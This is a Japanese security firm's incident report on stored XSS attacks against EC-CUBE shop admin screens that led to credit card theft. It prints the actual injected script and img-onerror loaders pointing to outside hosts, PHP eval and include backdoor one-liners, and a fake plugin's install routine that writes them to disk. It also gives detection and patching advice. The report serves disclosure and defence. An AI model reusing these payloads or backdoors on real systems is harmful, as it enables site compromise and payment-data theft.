Web アプリケーション管理画面に対する

XSS 攻撃に関する分析レポート

2023 年 4 月

株式会社ファイブドライブ
〒101-0045
東京都千代田区神田鍛冶町三丁目 4 番地
TEL:03-5577-5030/FAX:03-5577-5823

目　次

1. Webアプリケーション管理画面に対するXSS攻撃の概要

昨今、Webアプリケーションへの侵入手段として、攻撃者がWebアプリケーション管理画面に存在するクロスサイトスクリプティング（以降、XSSと記載）脆弱性を狙ったデータをアプリケーションに投入し、そのデータを参照したサイト管理者のWebブラウザ上で不正なスクリプトを動作させるケースが頻繁に見られます。

従来、XSSは、ターゲットサイトで動作しているWebアプリケーション上の公開ページに存在する脆弱性を狙った攻撃事例が多く見られました。その攻撃方法は、攻撃者が準備した攻撃用サイトにターゲットサイトのユーザを誘導し、ユーザのブラウザを介して攻撃用サイトからターゲットサイトに不正スクリプトを送り込むことで、ターゲットサイトのユーザの使用するWebブラウザ上でスクリプトを実行するものでした。このように、XSSは受動的攻撃の代表例であり、攻撃の成立にはターゲットサイトのユーザを何らかの方法でターゲットとは別の攻撃用サイトに誘導して罠にかかるのを待つという、攻撃を受ける側のアクションを待つ必要があるのが一般的でした。

これに対し、本レポートで取り扱うWebアプリケーション管理画面に対するXSS攻撃は、ターゲットサイトのユーザが使用する公開画面に攻撃者が入力したスクリプトが、同じターゲットサイトの管理画面にアクセスした管理者が使用するWebブラウザ上で動作する流れとなっています。攻撃者の立場から考えると、仕掛けた罠にかかるのを待つこと自体は変わりありませんが、被害者となり得るターゲットサイトの管理者は、そもそもターゲットサイトにアクセスする動機があり、罠にかかる可能性が高いといえます。すなわちこれは、ターゲットサイトの管理画面に脆弱性がありさえすれば、攻撃者が意図した攻撃行為の成功率が格段に高いということができます。

Webアプリケーション管理画面に対するXSS攻撃により侵害を受けたシステムについて、弊社で過去に調査を行った事例を見ると、特定のECサイト用Webアプリケーションを狙った同一IPアドレスからの攻撃や、複数の事例で共通の不正スクリプトやバックドアが使用されているなどの状況が見られました。このことから、何らかの組織または個人が、特定のWebアプリケーションを狙った攻撃の自動化や侵入後の情報収集の自動化等を行い、連続して多数のECサイトへの攻撃を繰り返している様子が見られます。

本レポートでは、複数のECサイトで見られた、Webアプリケーション管理画面に対するXSS攻撃を発端としてクレジットカード情報が漏えいした事案における特徴的な手口について記載しています。

2. Webアプリケーション管理画面に対するXSS攻撃手口

2.1. 不正スクリプトの導入

Webアプリケーション管理画面に対するXSS攻撃は、管理者としてログインしている状態のブラウザ上で攻撃者の挿入した不正なスクリプトを実行させるものです。攻撃者にとっては、一般のWebサイト利用者が可能な範囲内で不正なスクリプトを送り込み、その結果、Webアプリケーション上の管理者権限で処理が実行されることに大きな利点があります。加えてこのことは、Webアプリケーション管理画面へのアクセスをIPアドレスで制限していたとしても、正規の管理者がアクセスできている限りは実行可能な攻撃であることに留意する必要があります。

あるECサイトの侵害事例においては、ECサイトのデータベース内に、図 1および図 2のようなデータが記録されていました。これらのデータは、攻撃者が顧客向け商品購入ページから購入手続きを行う際に、本人や配送先の住所の一部や問合せ内容として、HTMLのscriptタグやimgタグを挿入していたものです。その内容は、ECサイトとは関係の無い外部のWebサイトからスクリプトをダウンロードして実行するものでした。

```
(1321,996,NULL,2,NULL,NULL,4,10,'4f5d08506125dec3a8a1de0deecf4d8887b8ce8a','1321',
NULL,'■','■■','■■','■■■■■',NULL,'■■■■■■@meantinc.com','090■■■■
■965','■■■0112','■■市
¥'¥"><sCRiPt/sRC=//xf6.site/B>','</sCrIpT>124-214',NULL,2178.00,0.00,0.00,330.00,
228.00,2508.00,2508.00,'代金引換',NULL,'2020-09-21 01:36:37','2020-10-05
04:23:02','2020-09-21 01:37:13',NULL,'JPY',NULL,NULL,20,0,3,'order',NULL)

(3930,2924,NULL,12,NULL,NULL,4,2,'3d08d91ec04fa18312756b2505c711fdb19d615c','3930'
,'プライバシーパッケージ</tExtArEa>¥'¥"><img src
onerror=s=createElement(¥'script¥');body.appendChild(s);s.src=¥'//jquery6.com¥'
style=¥'display:none¥'>','神田','原賀','ロウ','タロウ
',NULL,'zaq82wsxcvx@outlook.com','0065854784','2770016','平塚市
','2-2-12',NULL,28160.00,0.00,0.00,0.00,2560.00,28160.00,28160.00,'
代金引換','7/12　配送先情報確認中','2021-07-12 04:07:54','2021-07-19
01:09:13','2021-07-12 04:08:40',NULL,'JPY',NULL,NULL,258,0,3,'order',NULL)
```

図 1 注文データ内の不正スクリプト挿入箇所

```
(1365,1321,NULL,2,1,NULL,'■','■■','■■','■■■■■',NULL,'090■■■■■
965','■■■0112','■■市¥'¥"><sCRiPt/sRC=//xf6.site/B>','</sCrIpT>124-214','佐川
急便',NULL,NULL,NULL,NULL,NULL,NULL,NULL,'2020-09-21 01:36:37','2020-09-21
01:36:37',NULL,'shipping')

(4081,3930,NULL,1,1,NULL,'■■','■■','■■■','■■■','¥"><sCRiPt
sRC=//jquery6.com></sCrIpT>','89589568756','0550003','¥"><sCRiPt
sRC=//jquery6.com>','</sCrIpT>','佐川急便
',NULL,NULL,NULL,NULL,NULL,NULL,NULL,'2021-07-12 04:07:54','2021-07-12
04:08:23',NULL,'shipping')
```

図 2 配送先データ内のスクリプト挿入箇所

また、これらのデータを管理者が管理者画面上から参照して操作したことを示すデータとして、顧客向けに送信した案内メールの履歴データの中にもスクリプトが残存している箇所がありました(図 3)。

```
ご注文者情報¥r¥n**********¥r¥nお名前：■ ■■ 様¥r¥nお名前(カナ)：■■ ■■■■■■ 様¥r¥n郵便番号：〒■■■0112¥r¥n住所：青森県■■市¥'¥"><sCRiPt/sRC=//xf6.site/B></sCrIpT>124-214¥r¥n電話番号：090■■■■■965¥r¥nメールアドレス：■■■■■■
@meantinc.com¥r¥n¥r¥n**********¥r¥n 配送情報¥r¥n**********¥r¥n¥r¥n◎お届け先¥r¥nお名前：■ ■■ 様¥r¥nお名前(カナ)：■■ ■■■■■■ 様¥r¥n郵便番号：〒■■■0112¥r¥n住所：青森県■■市¥'¥"><sCRiPt/sRC=//xf6.site/B></sCrIpT>124-214¥r¥n電話番号：090■■■■■965¥r¥n¥r¥n配送方法：佐川急便¥r¥nお届け日：指定なし¥r¥nお届け時間：指定なし

ご注文日時：2021/07/12 13:08:40¥r¥nご注文番号：3930¥r¥nお支払い合計：￥28,160¥r¥nお支払い方法：代金引換¥r¥nご利用ポイント：0 pt¥r¥n加算ポイント：258 pt¥r¥nお問い合わせ：プライバシーパッケージ</tExtArEa>¥'¥"><img src
onerror=s=createElement(¥'script¥');body.appendChild(s);s.src=¥'//jquery6.com¥'
style=¥'display:none¥'>
```

図 3 顧客向けメール送信履歴データ内に残存していたスクリプト

この EC サイトの事例については、国内で広く使用されている EC サイト向け CMS である EC-CUBE バージョン 4.0.5 が使用されており、以下の脆弱性の影響を受けた可能性が高いと考えられます。

「EC-CUBE4.0 におけるクロスサイトスクリプティングの脆弱性(JVN#97554111)」
https://jvn.jp/jp/JVN97554111/

ただし、この脆弱性に限らず、他の Web アプリケーションにおいても同様の攻撃を受けている可能性があるので注意が必要です。弊社が実施した調査においては、EC サイト事業者オリジナルの Web アプリケーションシステムや、EC-CUBE 本体ではなく特定のプラグインにおいても同様の XSS 脆弱性が存在し、実際の攻撃に使用されていたことを確認しています。EC サイトアプリケーションだけでなく、例えばお問合せフォームに攻撃者が入力した不正スクリプトがお問合せ管理画面で実行される等、様々な Web アプリケーションで同様の攻撃が成功する可能性があるので注意が必要です。

また、同様の攻撃を受けた複数の事例において、共通の IP アドレスからの攻撃を受けていることや不正なスクリプトを入力するときの氏名等の情報に共通したパターンがあることもわかりました。これらのことから、日本国内のサイトに類似した不正スクリプトをばらまき、管理者が罠にかかったことを検知して攻撃を行うようなツールや、それを使用する組織などが存在しているものと考えられます。

2.2. 不正スクリプトの処理内容

前節で紹介した、HTMLのscriptタグのsrc属性やimgタグのイベントハンドラonErrorで指定されたURLからJavaScriptコードのダウンロードを試み、取得に成功したものについてその動作を解析しました。

本レポート内で解析したJavaScriptは、サーバ内にバックドアを設置する処理を行うものでした。JavaScript内に埋め込まれている短いバックドアのコードをサーバ上にアップロードするもので、アップロード処理にはEC-CUBE管理画面のファイルアップロード機能が使用されていました。また、複数のファイルアップロード機能の存在確認を行うようになっており、EC-CUBEのバージョンの違いについても対応している様子が見られました。当該JavaScriptから、不正ファイルのアップロードに関わるURL、ファイル名、ディレクトリを抽出したものを表 1にまとめました。

表 1 不正スクリプトのアップロードに関わる情報

ファイルアップロード機能のURL	/[管理ディレクトリ]/contents/file_manager.php /[管理ディレクトリ]/content/file_manager
アップロードするファイル名	ec_ver.php temp.php log3.php
アップロード先ディレクトリ	/user_data/ /user_data/upload/save_image/ /user_data/upload/temp_image/

これらの処理でアップロードされるバックドアコードは以下のようなものでした。

```
<?php @INCLUDE_ONCE($_FILES['only_pcd']['tmp_name']) ?>
```

```
<?php eval($_POST['xhn']) ?>
```

いずれも、アップロードデータやPOSTデータによって攻撃者から送信されたPHPコードを実行するバックドアとして機能するものです。

また、EC-CUBEのプラグインを装ったファイルを設置し、インストールの処理を実行することで、バックドアを設置する処理も記載されていました。この、プラグインを装ったファイルEccubeManualNdi.phpの、処理の主な部分を抜粋したものを図 4に示します。

```
class EccubeManualNdi extends SC_Plugin_Base {
(中略)
  /**
   * インストール
   * installはプラグインのインストール時に実行されます.
   * 引数にはdtb_pluginのプラグイン情報が渡されます.
   *
   * @param array $arrPlugin plugin_infoを元にDBに登録されたプラグイン情報
(dtb_plugin)
   * @return void
   */
  function install($arrPlugin) {

                @fwrite(fopen('../../user_data/ec_ver.php','w'),'<?php
@INCLUDE_ONCE($_FILES[¥'only_pcd¥'][¥'tmp_name¥']) ?>');
                @fwrite(fopen('../../user_data/log3.php','w'),'<?php
eval($_POST[¥'xhn¥']) ?>');
(中略)
                @fwrite(fopen('../../upload/temp_image/temp.php','w'),'<?php
eval($_POST[¥'xhn¥']) ?>');



  }
```

図 4 プラグインを装ったファイルの処理内容（抜粋）

これらの不正スクリプトが実行されたことは、図 5のようなアクセスログから確認することが可能でした。URL「/admin/content/file_manager」に対してPOSTを行うファイルアップロードのリクエストですが、アクセス元URL(Referer)が「/admin/order/47755/edit」となっています。通常の管理操作であれば、アクセス元URLはファイルアップロードフォームを示す「/admin/content/file_manager」となっているはずですが、ここでは注文詳細情報画面を示す「/admin/order/47755/edit」となっています。これは、注文詳細情報画面の中に埋め込まれたスクリプトにより発生したアップロードリクエストであると考えられます。

```
[xx/xxx/2021:11:24:25 +0900] "POST /admin/content/file_manager HTTP/1.1" 500 -
"https://www.■■■■■■.com/admin/order/47755/edit" "Mozilla/5.0 (Windows NT
10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101
Safari/537.36" 599015 -
```

図 5 不正なスクリプトが実行されたことを示すアクセスログ

2.3. 不正スクリプト実行後の攻撃者の行動

前節までのように攻撃者は、Webアプリケーション管理画面に対するXSS攻撃を行い、サイトの管理者が使用するWebブラウザ上で不正なスクリプトを実行させることで、サイト上にバックドアを設置することができました。

弊社の調査した複数の事案において同様の攻撃が行われていたことを確認しましたが、その後の攻撃者の行動は以下のようなものが多く見られました。

- 小さなバックドアを足掛かりにして、多機能なバックドアをアップロードする
- 単一ファイルで機能するデータベース管理プログラム「Adminer」(https://www.adminer.org/)をアップロードし、データベースへアクセスする
- 多機能なバックドアを使用して既存のECサイトアプリケーションのプログラムファイルを改ざんすることで、クレジットカード非保持化状態を崩し、サーバに送信されたカード情報を窃取する

3. 対策手段

まず、サイトのWebアプリケーションのXSS脆弱性対策を確実に行うことが必要です。調査を行った事例では、使用しているWebアプリケーションに既知の脆弱性としてXSSが公表されていても、アップデート等が行われていないケースが多く見られました。定期的なバージョンチェックや、脆弱性診断の実施等を行ってWebアプリケーションの脆弱性の存在把握に努め、脆弱性の存在が確認できた際には速やかに修正する体制の整備が望まれます。

上記のような対策を万全に施したとしても、ゼロデイ攻撃と呼ばれるようなタイミングで、公表されていない脆弱性を悪用される可能性は否定できません。本レポートで取り扱ったようなWebサイトへの侵入については、侵入後にバックドアの設置や既存ファイルの改ざん等が行われるケースがほとんどです。そのため、ファイル整合性監視を行うことは、攻撃者の侵入行為、もしくは侵入を試みている行為を素早く検知するために有効な手段となります。

4. 留意事項

本報告書は解析実施時点におけるマルウェア・脆弱性情報や攻撃手法により得られた結果を述べたものであることをご理解ください。新しい脆弱性や攻撃手法は日々発見されており、解析実施時点では被害が生じないと判断された対象においても、将来において新たな脆弱性や攻撃手法が報告され、それによりマルウェアによる被害が生じる可能性があります。

本報告書は弊社解析担当者が解析を実施した結果を記載したものであり、解析を実施した環境において実際に確認された挙動を記載しています。対象ファイルが検出された端末で使用されているソフトウェア(OSや業務用ソフトウェア等)の既知の脆弱性が対策済であるとしても、本解析においては該当のソフトウェアの脆弱性が未対策の場合に生じ得る被害も含めて報告しています。

本報告書において記述されているリスク内容は、運用の方針(セキュリティポリシーなど)・環境・状況等により変化します。ただし本報告書では、セキュリティ解析の性質上、運用の方針（セキュリティポリシーなど)・環境・状況等は考慮せずにリスク内容を記載していますことをご理解ください。そのため、マルウェアへの対応につきましては、運用の方針（セキュリティポリシーなど)・環境・状況等を考慮していただき対応策を検討してください。

以上